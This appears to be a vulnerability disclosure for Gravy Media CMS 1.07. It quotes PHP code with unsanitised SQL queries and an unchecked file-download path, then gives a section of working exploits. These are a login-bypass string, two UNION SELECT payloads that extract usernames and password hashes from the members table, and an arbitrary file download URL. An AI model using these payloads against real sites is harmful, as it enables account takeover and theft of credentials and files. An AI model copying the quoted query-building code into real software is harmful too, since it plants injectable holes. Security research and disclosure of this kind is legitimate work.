Gravy Media CMS version 1.07 suffers from file download and SQL injection vulnerabilities.
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[0x01] Informations:
Name : Gravy Media Cms 1.07
Download : https://www.gravy-media.com/downloads.php
Vulnerability : Multiple Sql Injections & Arbitrary File Download
Author : x0r
Contact : andry2000@hotmail.it
Notes : Proud To Be Italian
Greetz : //
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[0x02] Bug:
Bugged file is /[path]/login.php [..] viewmsg.php [..] rate.php [..]forcedownload.php
[code]
//IF SUBMIT PRESSED FOR LOGIN
if(isset($_POST['submit'])) {
$get_app = mysql_query("SELECT * FROM `members` WHERE username = '".$_POST['username']."' AND
user_password = '".md5($_POST['password'])."'");
[/code]
[code]
//you've to be logged
//We need to grab the msg_id variable from the URL.
$msg_id = $_REQUEST['msg_id'];
//Get all of the information about the message with and id number of the one sent through the URL
$view_msg = mysql_query("SELECT * FROM messages WHERE id = '$msg_id'");
$msg = mysql_fetch_array($view_msg);
[/code]
[code]
include "connect.php";
$action = $_GET["action"];
if (!$action)
$action = $_POST["action"];
//print"action = $action";
if ($action == "rate"){
$filename = $_GET["file"];
$getcount = mysql_query("SELECT * FROM files WHERE image='$filename'");
[/code]
[code]
$filename = $_GET['file'];
//Huge thank you to eLouai for this simple but powerful add-on
// required for IE, otherwise Content-disposition is ignored
if(ini_get('zlib.output_compression'))
ini_set('zlib.output_compression', 'Off');
// addition by Jorg Weske
$file_extension = strtolower(substr(strrchr($filename,"."),1));
if( $filename == "" )
{
echo "<html><title>eLouai's Download Script</title><body>ERROR: download file NOT SPECIFIED. USE force-download.php?file=filepath</body></html>";
exit;
} elseif ( ! file_exists( $filename ) )
{
echo "<html><title>eLouai's Download Script</title><body>ERROR: File not found. USE force-download.php?file=filepath</body></html>";
exit;
};
switch( $file_extension )
{
case "pdf": $ctype="application/pdf"; break;
case "exe": $ctype="application/octet-stream"; break;
case "zip": $ctype="application/zip"; break;
case "doc": $ctype="application/msword"; break;
case "xls": $ctype="application/vnd.ms-excel"; break;
case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
case "gif": $ctype="image/gif"; break;
case "png": $ctype="image/png"; break;
case "jpeg":
case "jpg": $ctype="image/jpg"; break;
default: $ctype="application/force-download";
}
header("Pragma: public"); // required
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false); // required for certain browsers
header("Content-Type: $ctype");
// change, added quotes to allow spaces in filenames, by Rajkumar Singh
header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($filename));
readfile("$filename");
exit();
[/code]
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[0x03] Exploits:
1- admin' or ' 1=1--
2- [LoginRequired] https://site.it/viewmsg.php?msg_id=' union select 0,0,0,concat(username,char(54),user_password),0,0 from members--
3- https://site.it/rate.php?action=rate&file=' union select 0,0,0,concat(username,user_password),0,0 from members--
4- https://site.it/forcedownload.php?file=[file]
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